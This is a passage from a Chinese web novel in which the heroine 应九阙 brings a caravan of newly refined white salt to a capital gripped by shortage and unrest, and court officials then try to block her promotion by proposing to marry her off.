能当官儿的都不是蠢人,这会儿其实已经心里清楚这到底是怎么回事儿,但没人敢说啊。 在陛下执政期间,京城百姓竟然聚众闹事,这是能被记入史册的一幕,当然,不是什么好事情。 这要是换成他们都要急死了,陛下怎么看着一点儿都不慌?不,或许是因为陛下内心慌乱,但并不想在他们这些外臣面前表现出来。 “瞧见了吗?” 这…… 没人敢吭声。就连这些日子崭露头角的二皇子见到此情此景都没敢吭声。这稍不注意就是遗臭万年的事儿,即便是他,这会儿也不敢啊。同时心中又有些庆幸,幸亏他现在还不是皇帝,在父皇统治期间出事儿,总比他以后登上皇位出这样的麻烦事儿没办法解决的好。 “且看着吧。那些北蛮南苗的使臣呢?也让他们过来。” 嘶,这时候谁都不敢拒绝陛下,甚至连异议都不曾提出,乖巧的就把那些喧闹不止的使臣给叫上来了。 那些使臣倒也乖觉,瞧着景泰帝明显不太好看的脸色,原本计划的种种嚣张倒是没表现出来,尤其是北蛮左亲王,这会儿还挺安静的。反正大景已经乱成这副模样,就算他不说话,景泰帝心里也不会好受。他倒要看看如今闹成这个模样,景泰帝准备如何收场,都说中原的皇帝格外注重自己的身后名,今儿这事儿,万一处理不好就要遗臭万年。他刚好借着这个机会好好提提应县主的名字。 中原的男人不是向来都会这一招吗?当出现什么天灾人祸之际,把自己摘个干净,让那些女人顶在前头…… 这时候那些百姓已经聚集在朝武门前。个别聪明的已经反应过来今儿这事儿不正常,悄悄从旁边溜走,剩下大部分只是随波逐流,跟着来到皇宫门前,也不知自己接下来该做什么,个顶个的茫然。 就在这时人群中走出来几个很有默契的人,身上穿的也是普通百姓的衣服,在茫然的百姓中振臂高呼。 “我们要盐!你们是不是把盐都给达官贵人们了?我们这些底层百姓难道就是没根的野草?可我们也是大景百姓呀。陛下,我们交纳赋税乖巧过活,都是个顶个的良民,陛下,您总不能坐视不管吧?” “就是!陛下您不能坐视不理。我们得活下去!盐城每年出产那么多的盐,到底都运到哪儿去了?您得给我们一个说法。滨阳王驻守盐城,却连天下百姓们日常吃的盐都弄不过来。岂不是他的失职?难道就因他是陛下的义子,就能躲过责罚吗?” 喜欢郡主不可以登基吗?请大家收藏:()郡主不可以登基吗?更新速度全网最快。 第一百九十八章 运盐船 “陛下不能厚此薄彼,徇私枉法啊!” “就是!难道陛下义子的命就比我们这些普通百姓要高贵?这事儿要是不给出个说法,没完!” “对!没完!” 那些振臂高呼的人原本以为自己张嘴一喊就会有无数百姓盲从,毕竟这些百姓又不是什么聪明人,只是宣扬宣扬就已经跟着他们聚拢到朝武门前。可这回他们振臂高呼一会儿,竟尴尬的发现身后那些百姓用怀疑警惕的眼光看着自己,并没有像想象中那般盲从。 不是,他们都已经跟着自己一路来到朝武门前了,竟然在关键时候闭上嘴,这不太对劲吧? 殊不知在百姓心里这几个挑头的人才是越看越不对劲,大家当然很想要盐,可是人人心里都有杆秤,当今陛下自从登基之日起就不遗余力的为底层百姓谋福祉,让他们休养生息,能够过上好日子。虽说这些年天灾人祸不断,没能改善太多,可百姓心里都是认景泰帝的。毕竟这可是开天辟地头一遭,真正底层百姓出身,开辟霸业的帝王,而且把他们放在心里。 他们之所以聚集起来也只是想要足够吃的盐而已。并不是真的想要闹事,如果刚才还想不到那么这会儿听到这几个出头的人喊话,大家就开始不由自主的往阴谋论方面想去。 “你们几个是哪条街的百姓?所以说你们穿着跟我们差不多的衣服,可看起来面生的很啊。而且我们从未想过要让陛下处置滨阳王。滨阳王可是双子星之一,当初跟蛮子打仗的时候不知道杀了多少敌人,就算这次真因为意外无法运送大量的食盐,那他也不是故意的呀。只要能找到解决办法,能有盐吃不就行了。何必非要让陛下处置他的义子?” “就是!真以为老头子我老眼昏花了?!你们身上白的根本就不像老百姓!” 说这话的老伯还上前一步揪住他们的衣领,狠狠往下一拉。 “瞧瞧!这外面儿是麻布衣裳,里边儿穿的可是丝绸!这年头谁舍得穿丝绸里衣?贵的很,你们不会是故意来闹事儿的吧?还是想把我们当枪使?告诉你们,咱们可是皇城根下的老百姓,别以为你们这些阴谋诡计能糊弄得了我们。咱们这次前来就是想问问你们这些当官儿的,到底有没有盐吃!要是想搞其他的幺蛾子,可别拉上咱们。” “就是!别把我们当枪使!” 大家伙那叫一个群情激愤,就连城墙上头看热闹的左亲王都狠狠愣了一下。不是,大景的百姓都这么聪明的吗? 景泰帝嘴上不说,但还是忍不住松了口气,他就知道治下百姓没有那么容易被煽动。然而那几个挑事儿的人眼看一计不成,又行一计。 “你们先别管这些,我就问你们,这段时间有谁从盐署里买出来一颗盐了吗?刚刚闯进去的时候,你们又不是没看到,那数十个仓库里边儿连一颗盐粒子都没有。反正我家现在是没盐可以下锅了,就这么几天,我感觉自己都没力气了。你们在这儿理直气壮的,倒是告诉我,你们准备从哪儿买盐?我可是听说了,那些北蛮南苗过来的使臣还要从咱大景借盐呢!” “咱们自己都不够吃了,还得借给他们,这是什么道理呀?你说说那些盐署里的盐是不是都借给其他国家了?原来现在自己国家的百姓不值钱,北蛮南苗的百姓反倒是值钱了!” “这你就不知道了吧?现在咱们在跟北蛮打仗呢。打了这些天,没占据上风不说,现在就连盐都没了,军中将士据说都在用醋布,你说说这不吃盐哪有力气?哪儿打得过人家?现在不就是为了不跟人家打起来委曲求全的嘛?其实咱们陛下也挺难的,要真是这样我也没话说,毕竟是为了咱们整个大景。” “你没话说我可有话说,凭什么?北蛮年年跟咱打仗,不处理他们也就是了,现在还要低三下四,委曲求全。还有南夷,不是没跟咱们打起来吗?” 接下来底下又是一阵混乱。站在城楼上的官员们脸色不太好看,北蛮南夷的脸色自然也不好看,这大景百姓太过分了吧?当着他们的面就喊起蛮子蛮夷来了。啧…… 在没有外力掌控的情况下,底下那群百姓确实越来越乱。恐慌心理都是会传染的,哪怕嘴上说着不信不信,可见朝廷迟迟没能给出个说法,那些本来不相信的人也有些动摇了。 左亲王看着这一幕,那叫一个高兴,给底下人使了个眼色,让他们把这氛围弄得更热烈些。虽说不太可能让京城乱起来,但给大景皇帝添个乱还是能做到的。 景泰帝一直保持沉默,他不吭声,周围臣子们也纷纷闭紧了嘴,只是心中愈发焦灼。就在二皇子抑制不住内心焦急上前一步准备开口的时候,赫然发现自家一向沉稳严肃的父皇竟猛然睁大了双眼,喜形于色。 “来了!” 来了,什么东西来了?二皇子有些茫然,顺着景泰帝的视线往远方一看。哦,原来是那条长河啊。这条长河贯穿大景南北,有些货船是再正常不过了,只不过这一艘船大的有些奇怪。而且上面似乎写的有字儿? 因为距离还是太远,二皇子瞪大了眼睛看了许久,才模模糊糊看清,那艘大船的船身上写了个大大的‘盐’字! 什么情况?这是运盐的船?不是说盐城的盐场被贼人下毒毁了吗?二皇子有那么一瞬间还以为自己看花眼了,使劲揉了揉眼睛。此刻发现陛下和二皇子异样的官员纷纷朝着远方查看。 这下,看清的人越来越多,众人你看看我我看看你,还以为自己在做梦。 “那是运盐船吗?” “看着好像是。” “不是说……那边儿出了问题?” “这我怎么知道?但我确确实实是看到运盐船了。” “或许那只是艘空船?” “你看不到那吃水很重吗?我觉得里边儿像是装满了货物。” 当然,也有可能,那艘船装的不是盐…… 喜欢郡主不可以登基吗?请大家收藏:()郡主不可以登基吗?更新速度全网最快。 第一百九十九章 盐队 大伙儿在那儿猜测来猜测去,没能得到个准消息。只能抬头去看站在最前方的陛下,而景泰帝则是远远的看着那艘货船,脸上露出个神秘莫测的笑容。 终于回来了。 底下聚集起来的百姓似乎也发现了异常,尤其是那关闭的紧紧的朝武门轰然洞开,从里面走出形容严肃的金甲卫,以及穿着大红大紫官袍的官员。这个时代百姓们对于官员的敬畏是与生俱来的,当即那些情绪不稳定的都忍不住退后半步,尤其是看到那龙行虎步走出来的灿金色身影,大家的表情都不一样了。 那是陛下吗? 虽说大家都住在皇城脚下,但真正能见到皇帝的次数屈指可数。最近的一次也只是过年时陛下站在朝武门对着底下百姓挥手示意。而且隔得大老远,根本看不清陛下长什么样子。而这次,高高在上的皇帝竟然从皇城中走出,经过他们时还于尊降贵看了一眼。对于他们聚众闹事的行为并没有加以责怪,只是大步向前。 自觉侥幸逃过一劫的百姓远远看着陛下带领百官朝前走,忍不住松了口气的同时又向自己的同伴求问。 “刚刚那是陛下吧,陛下要带着大官儿们往哪儿去?不对,陛下竟然没有责怪咱们,咱们这已经叫聚众闹事了吧?” “陛下宅心仁厚,不会责怪咱们,不过看他们走的方向,好像是城门口吧?听说咱们和北蛮在打仗,但也没听说打赢了呀,陛下带领百官前往城门,这种情况以前从来没出现过。难道是要迎接什么重要的客人?你看见没?那些北蛮南夷过来的使臣也跟着呢!” “看见了!这是有什么讲究吗?” 百姓们虽然大多数未曾读书识字,但有基本的生存智慧,此刻也顾不上那些还想着挑拨离间的人,彼此对视一眼,连忙跟上,不管是要迎接谁,他们去看个热闹总没事儿吧。 好像看热闹八卦是自古以来所有人的兴趣爱好,就算这种关键时候,也阻挠不了他们那颗想看热闹的心。 那些原本因为担惊受怕待在家中不敢聚众的百姓,透过自家窗户缝看到这越聚越多的人,好奇心也上来了,尤其是前面儿那领着百官前行而且还身穿龙袍的,除了景泰帝之外别无他人。他们大景朝的皇帝这是要做什么?不成!得去瞧瞧。 于是大伙儿就这么自认为悄无声息的跟了上去。 那条长河自然不可能将码头建在京城,出城门之后,还要再前行二十里。景泰帝自然不可能率领百官徒步走那么远,他们只是在城门口安静等着,刚刚在城楼上看的时候,那艘盐船已经靠岸。景泰帝早就有所准备,因此九阙等人靠岸的时候,发现码头上已经有排列整齐的马车以及形容恭敬的人等着。 为首的是个面容清秀的小太监,他是内侍总管九福的徒弟之一。这会儿见到从船上走下来的九阙魏渊等人那叫一个毕恭毕敬。小心翼翼地表明了来意,九阙等人自然也乐得有人帮忙。 九阙还回头看了一眼魏渊。 “不会是九福公公想你了吧?” 魏渊皱了皱眉,觉得事情没那么简单。如果当真是义父的意思,不会明目张胆派个徒弟过来。在陛下身边服侍的人,别的不说,首先得有眼力见儿,这么明目张胆的结交外臣,不是义父的风格。 不过当着这么多人的面,魏渊也没多说,只是看着那小太监带领身后的侍卫有条不紊的将船上的大批货物取下,放在车上。 他们这次回来带的东西挺多,大约过去小半个时辰,那些货物就已经被稳妥的装上车,不仅如此,那小太监还带来了好几匹神俊的马,请九阙几人上去。 “陛下还等着几位大人尽快回去述职呢。” 几人你看看我,我看看你。行吧,这好像说的也没错。片刻过后,九阙带领着身后的车队迅速朝着城门口的方向驶去。多亏了这趟历练,她的骑术越来越好了。 城门口等着的景泰帝和百官们吸引了越来越多京城百姓的围观,那些官员们感觉着周围平民们看热闹时的视线,觉得有些不雅,但是陛下都安静站在这里,他们难道比陛下还尊贵?因此只能强忍着焦灼等待,也不知陛下这葫芦里到底卖的什么药…… 突然,耳力过人的武官们猛然抬头盯着远方,剩下的文官也察觉到了异常。远方的官道上有阵阵烟雾弥漫,显然是有人正在朝这边快速奔驰,这可是京城重地,谁敢这么没规矩? 几息过后,九阙的身影猛然出现在众人眼前。明明和她一起的还有另外几个官员,可魏渊等人却极其默契的落后九阙半步。竟然让一个女子立于他们身前,简直是不成体统! 某些古板的官员看见这一幕就恼了,但他们生气也没用呀,陛下还在这儿站着,人家都没吭声,自己还能说什么?尤其是发现陛下看到应九阙等人回来脸上露出的笑容时,更是酸涩不已。 你说说,一个普普通通的女人到底是怎么得到陛下的信任宠爱的?而且还不是当成后院女子那般的宠爱,这是要当成肱骨重臣重用的架势呀。难道他们这些臣子不够忠心,不够努力? 啧! 渐渐的,随着九阙等人的脚步越来越快,大家也看到了跟在她身后的车队。 那一辆辆平板车上堆放的鼓鼓囊囊的袋子上,好像写的有字? 模模糊糊的也看不清,那是个‘盐’字儿吧? 嘶! 原本还在悄悄吃醋的文武百官们狠狠的愣了一下。难道那些长的几乎看不到尽头的车上堆着全都是盐吗?!这怎么可能? 不是有小道消息说盐城的盐厂被人下毒毁了吗?至少八十年之内都不能再用,这种时候从哪儿弄来这么多盐? 不过也有可能只是用盐袋子装着,里面并不是真正的盐,是陛下用来稳定民心的策略? 不得不说,这种法子用来糊弄那些没什么见识的升斗小民是够用了。 喜欢郡主不可以登基吗?请大家收藏:()郡主不可以登基吗?更新速度全网最快。 第二百章 咸死了 看到此情此景,文武百官以及百姓们心里想什么的都有。那些当官儿的碍于陛下在场还能稳得住,可那些百姓们却抑制不住激动的心情,跟旁边的人窃窃私语,只是这说话的声音未免也太大了些。 “你看到了吗?我恍惚瞅见那些车上堆着的都是盐袋子?” “哎呦,你问我干啥?我又不识字儿,只是恍惚能看见那车上堆的鼓鼓囊囊的,也不知道都是些什么货物……等等,你不是识字儿吗?那袋子上写的是啥?” “我,我本来是识字儿的,可这会儿,不知道自己是不是真实字儿了……” “什么乱七八糟的?这识字不识字儿你自己还不清楚?赶紧给我说那上面写的那个黑漆漆的是什么?” “盐……” “什么玩意儿?” “盐!那些都是盐袋子。” “你说什么?” 这下可算是捅了马蜂窝,百姓们一个个脑袋伸的老长,试图跨过前面那些碍事儿的文武百官把脑袋放到车架上,看看到底是不是盐袋子。 他们之前闹什么来着?不是因为盐署里边儿没盐了,所以才跑到大街上闹事儿来了吗?刚刚还在闹事儿,现在就有盐队进京了?这速度是不是太快了些?不过有反应迅速的心里鼓秋。说不定这是上头那些当官的来糊弄他们了。上面写着盐就是盐袋子了?说不定里面装的都是沙子呢。 总而言之,这会儿说什么的都有,只是有一样大家是相同的,那就是抑制不住的激动与期待。 九阙远远的也看见城门口聚集的一大堆人,还有些惊讶。尤其是看到人群之中那个身穿明黄色龙袍的人。那不是陛下吗?景泰帝怎么来了?不会是亲自迎接她吧?她有这么重要? 【老皇帝怎么也来了?不会真是来迎接我的吧?我好像也没做什么吧。这是好事儿还是坏事儿?头疼……】 一直能勉强维持住安静表情的景泰帝听到耳边那耳熟的声音,这下是真的开怀大笑了。他也没想到有朝一日竟会怀念这大逆不道的心声。九阙这孩子还是这么实诚。带了这么多盐进京怎么可能是坏事儿?当然是大大的好事儿! “哈哈哈……” 看到陛下这般开怀,文武百官们心中有些酸涩,但更多的是惊喜,既然陛下如此高兴,是不是说明那些车架上装着的都是真正的食盐? 九阙等人骑马的速度多快呀,眨眼之间就带领车队来到城门口。 “吁!” 几人利索的从马上跳下来,干脆利落的对景泰帝行礼。 “陛下,微臣来迟了。” 景泰帝大步上前,亲自将九阙扶起来,眼神那叫一个热情,热情的九阙都有些不适应了。 “没来迟,刚刚好。朕方才还在想你们今日能不能到达,没想到诸位爱卿的速度这般快,很好!回来的路上没遇到危险吧?若是有人胆敢为难你,尽管跟朕说!朕为你做主。” “这,微臣幸不辱命,归来途中得到诸位同僚帮忙,顺利将食盐带回,还请陛下检阅。” 身后跟着的臣子狠狠的大喘气儿,那些成堆的竟然还真是食盐?不会有什么问题吧? 还有那些百姓,都快把脖子伸长了,眼巴巴的瞅着身后那绵延不绝的车队。 此情此景,景泰帝自然不会扫兴,干脆的答应,顺便还招招手,让几个大臣跟随。走到最近的一辆马车旁,景泰帝本来想把盐袋子解开,但眼神往旁边一扫,干脆从腰间拔出来一柄手臂长的黄金匕首,狠狠扎入盐袋,刺啦一声划出来一个大口子。 “沙沙……” 雪白的食盐从裂口处涌出,这颜色让早有准备的景泰帝都愣了愣,更别说身后那些毫无准备的臣子了。 “这,这是盐?” 怎么如此雪白?简直如同冬日下的雪粒子一般。景泰帝又不是不食人间烟火的皇帝,自然见过食盐是什么样的。上好的也不过是青盐,可眼前这袋子盐竟然洁白如玉! 询问的眼神看向旁边的应九阙,九阙笃定的点头。 “陛下,臣等不辱使命,用新式制盐法制出来的食盐确实雪白如玉,而且并无苦涩之感。” 景泰帝闻言,干脆利落的用手捻起一撮放进嘴里,当即被咸的打了个哆嗦,但眼中的狂喜却抑制不住的迸射而出。 当真是食盐,不是沙子! 景泰帝狂喜的同时对着身后的几位重臣点了点头,那几个早就抑制不住的臣子这会儿狂奔到车架前,也不嫌弃干净不干净了,直接捏起一大撮儿就放进嘴里。哪怕被咸的直皱眉头,不断呛咳,也不舍得把口中那盐吐出来。 九阙在旁边儿看着都忍不住替他们难受,空口吃盐呀,这得是多厉害的勇士。佩服佩服! “陛下!这盐竟如此精纯!比盐城出产的还要好。而且老臣看着这里边儿竟没有一丝杂质。真是天佑我大景啊!” “陛下乃是真龙天子降世,为我朝百姓谋福祉,这盐如此精纯,足以解我大景盐业危机!” “天佑我大景!” 身后那些百姓一直探头探脑的想要弄清楚那些车架上堆放着的是不是盐袋子,这会儿就听到那几个素来老成持重的老臣们近乎癫狂的欢呼声。其他的他们倒是听不懂,但里边儿的关键词大家倒是听了个十成十! 什么意思?那白花花的东西竟然真的是食盐?!这和他们以前吃的不一样呀,盐不是灰白的吗? 一直隐藏在人群中的左亲王眼力出众,这会儿已经看清楚,那袋子白花花的东西竟然真的是盐!而且那几个老臣吃了一口之后咸的直打哆嗦!吃了一惊的同时表情越来越难看。怎么回事?!盐城的盐场已经被毁,这些白花花的盐是从哪里弄来的?而且质量如此上等,比他们弄回去的还要好! 这根本就不像盐城能产出来的盐! 左亲王猛然想起刚刚应九阙口中所说的新式制盐法,脑中浮现出一个不可思议的念头。 难道应九阙掌握了一种新型制盐法?而且这法子弄出来的食盐品质远超以往?可不管哪种盐,想要把它提纯出来都需要耗费大量的人力物力,这么短的时间,应九阙是怎么弄出来的?! 喜欢郡主不可以登基吗?请大家收藏:()郡主不可以登基吗?更新速度全网最快。 第二百零一章 上天之幸 不仅是左亲王好奇,这会儿站在城门口的所有人心里都快好奇疯了!自古以来,天下食盐都是从盐矿中得来,盐城能找到大量的盐井盐湖已然是上天之幸。这些年来大景百姓所吃的所有食盐,九成都是出自盐城,盐城食盐在天下百姓中心中所占分量极大。正因如此,之前传出的谣言才会叫大家几乎崩溃。若是连盐城的盐都被毁了,此后几十年里他们该从哪里买盐吃?周围大小国家对大景虎视眈眈,别说卖给他们食盐了,他们甚至想把整个大景瓜分殆尽!更何况周遭小国物资匮乏,自己都不够吃,怎么可能会大发善心卖给他们?若是大景被周遭国家吞并,就算他们国内还有食盐,那肯定也是先尽着自家百姓吃用。 这些时日,各地百姓担忧的也就是这件事了。 眼睁睁看着这位应县主带了满满一车队的食盐进京,而且那盐雪白雪白的,比他们以往买的所有食盐质量都要好,怎么能让京城百姓不激动呢? “这盐这么白,价格会不会特别贵?” “我觉得应该会比以往的盐价要贵,毕竟你看,咱们之前吃的那盐,灰色的。那些达官贵人们吃的是青盐,没这个颜色好看。我听说那要一钱银子一罐!也不知道这雪盐会卖多贵?” “就算贵咱也要吃呀,大不了买上一罐子,省点儿吃。” “那倒也是,若是我们家买不起,咱两家可以合买一罐,到时候平分就是了。” “你说的是。” 就在大家暗自猜测的时候,景泰帝也想到了这个问题。他早就从书信中得知这食盐的造价不贵,但当着众多百姓臣工的面还是想宽宽大家的心。 “九阙,新式制盐法难吗?出产如何?盐价几多?” 这件事儿在双方的飞鸽传书中已经与陛下达成了共识,此刻,九阙十分淡定的开口。 “陛下,这新式制盐法并不难,并且出产量极大,是盐城每年出产的十倍有余。正因造价低廉,盐价也不高。当然这还得陛下定夺。以臣的浅见,约摸为原先盐价的一半。” 其实以九阙的意思,盐这种生活必需品,理应便宜的不得了才是。但和淳于几个商量过后,还是听取了本地人的意见。盐价若是下降太多,难免会起连锁反应,引起其他不太好的变化。若想让天下百姓都能将食盐视作平常之物,只能慢慢来。在不引起喧哗的前提下,至少也得七八年才能完成。 但是,滨阳王曾说过。 “九阙,你这新式制盐法一出等于救了天下百姓一命。莫要觉得我夸大其词,以往的盐价其实并不低,百姓们也只是省着点儿吃用。但现在是特殊时刻。北蛮南夷虎视眈眈,并且已经从我盐城得到了太多盐。他们瓜分中原之心不死,总会借机掀起波浪。虽然不会在同一时刻动兵,但借助盐价挑起百姓慌乱,挑拨大景臣民关系,总会引起骚乱。” “我中原百姓曾经陷入战火将近二十年,这段时间实在是太长了,对天下百姓的伤害也太深。无论什么时候,破坏总比重建要简单的多,即使经过十三年的休养生息,天下百姓依旧未能从曾经的动乱中缓过神来。他们好不容易缓过一些元气,若是再起战乱,必定伤筋动骨。天下百姓实在是受不得了。” 滨阳王这都是肺腑之言,九阙听完之后心中忍不住浮现出一句话。 “兴,百姓苦,亡,百姓苦。” 滨阳王几个先是一愣,随后眼中迸射出精光,紧紧的盯着自知失言的九阙,那叫一个激动。 “九阙竟有如此佳句,以前怎么也不听你提起?” “不,这不是我做的诗,只是偶尔听别人说起过……” 从回忆中缓过神来,九阙对上四周不可置信的眼神,郑重其事的点了点头。 “上天有好生之德。陛下统一大景,十三年来夙兴夜寐,为天下百姓殚精竭虑。这低价盐正是因陛下的努力才现世,此乃我大景之幸。陛下万岁万岁万万岁!” 九阙干脆利落的将所有的功劳都安在景泰帝身上,不得不说,这位陛下真的已经做到了极致。开国之君难做的很啊,尤其是近些年的天灾人祸不断,水涝旱灾层出不穷,在这样的情况下,景泰迪能让百姓休养生息,国力迅速恢复,已然是极为难得的英明君主。 对于这位陛下,九阙是由衷的敬佩,虽然平日里总会在心里悄悄吐槽,但景泰帝真是一个好皇帝。 【其实老皇帝已经做到了最好,就算换成旁的皇帝也不一定能比他做的更好。怎么说呢?就是老皇帝的运气不太好,这些年天灾人祸层出不穷,实在是辛苦他了。在这种情况下依旧能够震慑北蛮南夷,实在是个了不得的皇帝。】 景泰帝本来还想说些什么,但是听到耳边九阙的心声,嘴角的弧度那是怎么也抑制不住。哈哈,九阙这孩子是哪儿都好,就是太实诚了。不过这回也太小心了吧,怎么不明着夸朕? 咳咳,不过也是,周围这么多人看着呢,九阙若是像心中所想大肆夸朕,说不定会被别人认为是佞幸之臣,这可不行,这孩子如此出众,日后可是要做肱骨之臣的。 即便如此,周围百官又不是个瞎子,陛下脸上那大大的笑容都快扎到他们脸上了,怎么看不出来?然而此时此刻他们就算再怎么心生嫉妒,也不可能对九阙口出狂言,毕竟能弄出新式制眼法可是于国于民大大有益之事,他们就算再怎么嫉妒,在这种事上也不能闭着眼睛说应九阙的不是。 “应卿当真是朕之肱骨,有应卿在,我大景二十年之内无所忧虑!” 嘶,虽说大伙儿都知道陛下对应九阙格外看重,但这话说的也太过了吧。他们这些臣子也是兢兢业业许多年,怎么就当不得陛下这句夸奖? 一群男人心中那叫一个羡慕嫉妒恨,不过大家看一眼人群中面色惨白的林炜,突然又觉得自己不是最惨的那个。 喜欢郡主不可以登基吗?请大家收藏:()郡主不可以登基吗?更新速度全网最快。 第二百零二章 打压 虽说应九阙只是个丫头片子,可如今那也是得到陛下亲口认证的肱骨之臣,想必这次一定会给她大大的封赏。按理说这可是件大喜事儿,但对于林侍郎来说就没那么好了。毕竟在这位应县主离京之前,才大摇大摆的跟林家断了亲。 虽说以前大家伙儿暗地里没少嘲笑林侍郎这辈子就是靠着裙带关系爬到这么高的,但这会儿眼睁睁看着林侍郎的表情一会儿青一会儿黑的,忍不住心生同情。他们好歹和应县主没有丝毫关系,对方如今扶摇直上,他们心中顶多也就是酸涩难耐罢了。可对于林侍郎来说,荣华富贵与他可是失之交臂呀。尤其是像林侍郎这般草根出身,没有世家大族关系支撑着的官员,这辈子能爬到侍郎的位置,已然是祖坟上冒青烟。如无意外的话,这辈子就到头了。 可如今眼看着自家子嗣因为新式制盐法能名垂青史,眼看着就要得到陛下的重用,却只能眼巴巴的瞅着。甚至还不如陌生人,毕竟陌生人和应县主之间可没什么深仇大恨。可林炜就是能做到和自己的亲生女儿分崩离析,不仅没有丝毫亲情,反而还闹得连陌生人都不如。 这时候林侍郎内心如何后悔大家是不知道了,只是看他的脸色都能感觉出那种悔不当初的痛彻心扉。 不过当自己倒霉的时候,看着有别人比自己更倒霉,心中竟然莫名其妙的好受了许多,这大概就是攀比的作用吧。 总而言之,在场官员心里也没那么难受了,看着那满满当当白花花的食盐,心里的算计翻来覆去。这些食盐若是利用得当,说不定能让北蛮南夷狠狠栽个大跟头,不过可惜的是,这次陛下率领他们来城门口迎接,怎么还让北蛮南夷的使者也跟着过来了?如果他们不事先不知晓,必定能打他们个措手不及。可惜,可惜呀! 左亲王又不是个傻子,这会儿自然感觉到大景官员的想法,心里那叫一个气呀。不过他也得庆幸这回跟着前来,否则怎么也不会相信应九阙竟然能弄出新式制盐法,而且还弄回来这么多满满当当的食盐。既然大景已经不缺盐,他们的计策还是得换一个好。得赶紧给草原通信了。这世道,一会儿一个样,谁能想到之前千方百计来弄回去的盐这么快就没有吸引力了? 总之,景泰帝喜形于色,甚至还让九阙几个与他并行。这等殊荣,可是让那些京官们羡慕的眼珠子都烧红了。 他们什么时候才能得到陛下这般看重? “应卿这次回来可要好生歇歇,此次出行真是辛苦你们了。若是有什么需要尽管跟朕开口……” 陛下带着九阙等人走在前方,身后是摇摇晃晃满满当当的盐车,百姓们早就奔走相告,此刻大家站在街道两旁,眼睛亮晶晶的,看着那些盐车。他们可是听说这雪白雪白的盐价格甚至还没有以前的一半儿贵。这不得多买点儿? 不过刚刚那位女官大人说了,这只是头一批雪盐,后面还制出很多的新式雪盐,等着往大景境内运送的。家中若是已经购买食盐的,不需要那么慌张,总能等到的。 总而言之,大伙儿都高兴极了。这时候也有人终于发现将大批食盐带回来的竟然是个女官。 “那什么?我怎么记得咱们二皇子殿下说女子应该乖巧待在内宅,不能抛头露面的。那这位女官怎么说?” “你疯了,要是没有这位应大人,咱们现在哪儿来的盐吃?” “可二皇子殿下确实说过这样的话呀,你说现在这位应大人回来,会不会被二皇子训斥?” “有什么好训斥的,你脑子不清醒了,人家又不是犯了罪。这可是立了大功。若是连立功的人都要训斥得罪,那这官儿当着又有什么意思?” 不仅百姓们好奇,憋了一路的二皇子眼巴巴的瞧着父皇带着应九阙走在前头,那个应九阙甚至都没跟自己打个招呼,她难道不知自己是帝位的热门人选吗? 他倒是乖觉,路上并没有开口,等到诸位臣子回到皇宫大殿,景泰帝笑盈盈的和臣子们商量要给这几个孩子升多大官儿时,二皇子终于按耐不住跳出来当这个出头鸟。 “父皇,应九阙只是个女子,怎能连升三级?我大景朝人才济济,难道就找不出个年轻有为的男子了吗?非得让女子顶上?而且儿臣瞧这应大人如今年岁已高,若是再不找个如意郎君嫁出去,日后怕是没什么可挑的了。不如趁着如今年华正好,父皇给她挑个年轻才俊,也好成人之美。” “……” 哇哦,九阙转头盯着这个以前从没认真瞧过的二皇子,她是真觉得奇怪,这位二皇子殿下心里真是这么想的吗?如果他只是借机想要打压自己也就罢了,可如果真是这么想的…… 还真是个蠢货。 自己如今立了大功,不仅打碎了北蛮南夷的阴谋,甚至带回了新式制盐法以及吃不完的盐。哪怕只是为了安抚自己,都不能提出这么愚蠢的方法。这个二皇子若真想当皇帝,难道此刻最应该做的不是安抚自己,甚至跟自己搭上边儿,好在青史上留名,为自己增加砝码吗?怎么会在这时候跳出来打压自己? 不过朝中其他臣子见二皇子挑头,此刻也压抑不住,纷纷跳出来表示这实在是个好法子。他们是真的无法忍受一个女人即将踩在自己头顶,以前是个六品巡城御史也就罢了,芝麻粒大小的官儿,可现在陛下竟要将应九阙连升三级,岂不是要压在自己头上?当了这么多年的官,竟要被一个女子打压,实在是滑天下之大稽。 众人都不满意,此刻见二皇子殿下率先提出,自然打蛇随棍上。 “陛下二皇子说的是应大人虽说立下滔天大功,可毕竟还要成亲生子。难道日后成亲生子了还要挺着肚子上朝吗?实在是有碍观瞻。若是陛下真心想奖赏应大人,不如在京中诸位青年才俊中挑一位德行兼备的,如此也是一段佳话。” 喜欢郡主不可以登基吗?请大家收藏:()郡主不可以登基吗?更新速度全网最快。 第二百零三章 嫉妒 “王大人说的对。女子总要嫁人,应大人如今也不小了,若是再耽搁下去,就找不到合适的少年郎。陛下,若是真想奖赏应大人,不如提高她的品阶?一个郡主之位还是能酬答应县主此次辛劳的。” “是啊,陛下。应县主品级提高,更能找个不错的人家……” 瞧这大殿之上热闹的,若是换个场景,跟说媒的有什么区别?没想到这整个大景的中枢之地竟然乱糟糟的说媒拉亲,而且还是给自己说媒。 不得不说眼前这一幕对九阙来说还是挺新奇的。如果换成个普通女子不知道内情的过来,看到这些人如此热情的模样,说不定还会误会他们真是为了自己好,殊不知在他们这热情的表面下,藏着的都是私心。 这些人当着自己的面都能拉煤说纤,还弄得如此津津有味,分明就是没把自己放在眼里呀。还说什么自己年纪大了,若是再耽搁下去,就找不到适宜的郎君成亲。她年纪真的大吗,十八岁,正是一枝花的时候啊。倒是这些口口声声说她年纪大的官员,哪个不是三十岁靠上了?自己老帮子菜似的,还说别人年纪大,真是不知羞。 而且这话里话外的推荐的人选还都是自己的子侄,生怕别人看不出他们在想什么是吧?估计以他们的想法,陛下也不必奖赏自己了,干脆把自己赏赐给他们的子侄做妻子,顺便把这一次应得的所有奖赏官职都给他们子侄才行。呸!还真有脸说,要不把这世上所有的好事儿都给他们得了。 “各位各位,咱们说的热火朝天,但是没得到正主允许,还是不太好的吧。” 兵部尚书对九阙印象还算不错,再加上这段时间他闺女也出了事儿,或许是出于同病相怜的心理,应九阙这么好的闺女,他也不想看着这孩子所托非人。都是同朝为官的官员,谁还不知道谁呀?刚刚有几个蹦跶的最高的,明明家中子侄都不成器,文武不通,就是个废物点心,还真有脸当着陛下和文武百官的面把他们夸的天花乱坠啊。 他这一开口倒是吸引过去大半火力。 “陈尚书,你这话就不对了。父母之命,媒妁之言。应大人虽说是个官,但她父亲尚在,婚嫁之事,还得看林大人的意思。再说了,谁不知道您家中也有适龄儿郎?” “你这是什么意思?” 陈尚书简直要气死,如果说之前他确实有意让家中幼子娶应九阙,但自从经历大皇子和德妃那个心事儿过后,他对女子的处境有更深刻的了解。这次也确实是真心实意为应九阙着想。可没想到不知从哪里蹦跶出个五品小官,竟然这般污蔑于他。 “下官什么意思您知道,就不必重复了。” 